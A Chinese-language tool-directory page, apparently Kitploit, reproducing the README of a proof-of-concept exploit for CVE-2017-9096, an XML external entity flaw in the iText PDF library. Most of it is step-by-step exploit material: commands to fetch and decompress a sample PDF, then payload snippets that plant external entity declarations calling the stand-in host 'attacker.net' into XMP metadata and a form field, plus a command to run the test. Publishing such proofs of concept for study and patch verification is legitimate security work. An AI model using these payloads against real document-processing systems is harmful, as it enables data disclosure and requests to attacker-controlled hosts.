Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-9096-iText-XXE — CVE-2017-9096 的概念验证漏洞利用,演示了通过恶意 XMP 元数据和表单字段在 iText PDF 库中注入 XML 外部实体(XXE)。 | Kitploit
工具/GitHubGitHub/jakabakos/cve-2017-9096-itext-xxe
漏洞分析漏洞利用Web应用程序漏洞利用模糊测试渗透测试
GitHubjakabakos/cve-2017-9096-itext-xxe

CVE-2017-9096-iText-XXE

CVE-2017-9096 的概念验证漏洞利用,演示了通过恶意 XMP 元数据和表单字段在 iText PDF 库中注入 XML 外部实体(XXE)。

查看仓库
133414年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-9096

1. 创建包含 XXE 的恶意 PDF

获取包含表单的 PDF:

root@kitploit:~
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf

解压 PDF

为此,你需要使用 qpdf --qdf --object-streams=disable input.pdf output.pdf 解压 PDF,然后便可以用文本编辑器编辑该 PDF 并添加恶意 XML。

添加外部实体

你可以将 XXE 放入第 77 行的 XMP 元数据中:

root@kitploit:~
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">

当然,也要在某个地方放入引用,例如第 88 行:

root@kitploit:~
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>

你也可以向该文件添加一个常见的 XXE。 参见原始文档中的这一部分(从第 740 行开始):

root@kitploit:~
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

将其改为以下内容:

root@kitploit:~
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

然后,只需在某个地方添加引用,例如添加到 City 字段(原始解压文档中的第 1845 行)。将:

root@kitploit:~
<text
>City:</text
></value
>

改为:

root@kitploit:~
<text
>City:</text
><xxe>&xxe;</xxe></value
>

你也可以在本仓库中找到同时包含这两种 XXE 的修补后 PDF(output_with_xxe.pdf)

2. 执行攻击

运行 Java 应用程序,使用 mvn clean compile exec:java 测试该 PDF。

下载工具